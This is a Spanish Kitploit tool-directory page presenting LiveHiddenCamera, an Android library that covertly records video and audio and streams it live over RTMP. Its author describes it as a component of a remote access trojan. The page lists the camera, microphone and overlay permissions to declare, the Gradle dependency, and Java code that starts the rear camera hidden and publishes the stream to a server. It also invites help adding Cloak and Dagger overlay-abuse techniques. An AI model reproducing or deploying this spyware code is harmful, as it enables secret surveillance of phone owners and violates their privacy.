Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
LiveHiddenCamera — Live Hidden Camera es una biblioteca que graba video y audio en vivo desde un dispositivo Android sin mostrar una vista previa. | Kitploit
Herramientas/GitHubGitHub/mirsamantajbakhsh/livehiddencamera
Seguridad AndroidAnálisis de MalwareSeguridad MóvilPrivacidadHerramienta de Acceso Remoto
GitHubmirsamantajbakhsh/livehiddencamera

LiveHiddenCamera

Live Hidden Camera es una biblioteca que graba video y audio en vivo desde un dispositivo Android sin mostrar una vista previa.

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web
8235hace 7 añosRevisado por Kitploit

Cámara Oculta en Vivo

Live Hidden Camera (LHC) es una biblioteca que graba video y audio en vivo desde un dispositivo Android sin mostrar una vista previa. Live Hidden Camera

Motivación

Estoy trabajando en un malware Android basado en investigación y decidí crear una RAT (Herramienta de Administración Remota) multifunción. Estaba trabajando en transmisiones en vivo y encontré algunos proyectos de código abierto basados en RTMP, incluyendo:

  • https://github.com/begeekmyfriend/yasea
  • https://github.com/ant-media/LiveVideoBroadcaster
  • https://github.com/TakuSemba/RtmpPublisher
  • https://github.com/fyhertz/libstreaming

los cuales todos tienen algún tipo de problema basado en los requisitos de una RAT. Pero el común era que todos necesitan una actividad que incluya un SurfaceView.

Por lo tanto, comencé a buscar. Finalmente, pude crear Live Hidden Camera que solo necesita un CONTEXT para transmitir video en vivo, combinando estos dos proyectos:

  1. https://github.com/begeekmyfriend/yasea
  2. https://github.com/kevalpatel2106/android-hidden-camera

Cómo usar

He creado una biblioteca para hacerla más utilizable. El único requisito es agregar la biblioteca a tu proyecto y pasarle la URL RTMP.

Además, debes tener en cuenta:

  1. Tu aplicación debe tener los siguientes permisos en Manifest.xml:
root@kitploit:~
<uses-permission android:name="android.permission.INTERNET" />  
<uses-permission android:name="android.permission.CAMERA" />  
<uses-permission android:name="android.permission.RECORD_AUDIO" />  
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
  1. Debes asegurarte de que los permisos declarados estén concedidos a tu aplicación

Agregar la biblioteca

El uso de la biblioteca es sencillo. Simplemente agrega la siguiente biblioteca al archivo gradle.build de tu proyecto.

compile 'ir.mstajbakhsh.android:LiveHiddenCamera:0.1.2'

  • Actualización: En la versión anterior, la Actividad Principal con el filtro de lanzador estaba en la biblioteca, lo que hacía que la aplicación (que usa la biblioteca) tuviera dos íconos. En esta versión, el filtro está comentado en Manifest.

Crear un servidor RTMP

Antes de usar la biblioteca, debes haber implementado un servidor Rtmp. He usado Ant Media Server. Hay una buena guía sobre la instalación de Ant Media Server en ESTE ENLACE.

Después de iniciar el servidor Rtmp de Ant Media, deberías ver algo como esto: Ant Media Server

Código de ejemplo

Después de agregar la biblioteca a tu proyecto, sigue los siguientes pasos:

  1. Crea una clase que implemente: RtmpHandler.RtmpListener, SrsRecordHandler.SrsRecordListener, SrsEncodeHandler.SrsEncodeListener

  2. Crea dos campos (uno para publicar y uno para vista previa):

    private SrsPublisher mPublisher;
    private SrsCameraView mCameraView;

  3. Implementa una función para iniciar la Cámara Oculta en Vivo:

root@kitploit:~
    private void initHiddenCam(String rtmpURL) {  
    HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {  
        @Override  
  public void onPermissionNotGrantedException(Exception ex) {  
            Log.d("HCL", "Ask user to grant permission.");  
            Log.e("HCL", ex.getMessage());  
        }  
    });  
  
    //start config  
  CameraConfig cameraConfig = new CameraConfig()  
            .getBuilder(MainActivity.this.getApplicationContext())  
            .setCameraFacing(CameraFacing.REAR_FACING_CAMERA)  
            .build();  
  
  
    mCameraView = l.initHiddenLayout(cameraConfig);  
  
    mPublisher = new SrsPublisher(mCameraView);  
    mPublisher.setEncodeHandler(new SrsEncodeHandler(this));  
    mPublisher.setRtmpHandler(new RtmpHandler(this));  
    mPublisher.setRecordHandler(new SrsRecordHandler(this));  
    mPublisher.setPreviewResolution(640, 360);  
    mPublisher.setOutputResolution(640, 360);  
    mPublisher.setVideoHDMode();  
    mPublisher.startPublish(rtmpURL);  
    mPublisher.startCamera();  
}

Problemas

Pantalla Verde

El principal problema que enfrento actualmente es la pantalla verde. He descrito el error en StackOverflow en https://stackoverflow.com/questions/56380851/getting-green-image-while-preview-hidden-live-video

Si tienes alguna sugerencia sobre este problema, o cualquier otra idea, no dudes en contactarme.

Vista Constante

Debido a la superposición de la Cámara Oculta en Vivo, no se puede hacer clic en otras aplicaciones. Los clics solo son aceptados por la LHC. Consulta la sección TODO.

TODO

Hay un proyecto llamado Cloak and Dagger que descubrió una capacidad muy peligrosa en Android. Cualquier contribución en el uso de Cloak and Dagger en LHC es bienvenida.

Consulta Cloak and Dagger aquí:

  1. http://cloak-and-dagger.org
  2. https://medium.com/@targetpractice/cloak-and-dagger-malware-techniques-demystified-c4d8a035b94e

Donar

Puedes donar a este proyecto usando mi dirección de BitCoin en:

root@kitploit:~
BitCoin:

1F5uiEmdCLJX5KktWHE1wkc63feKJYMmxS

Contacto

Puedes contactarme desde mi sitio web: https://mstajbakhsh.ir/

Descargar herramienta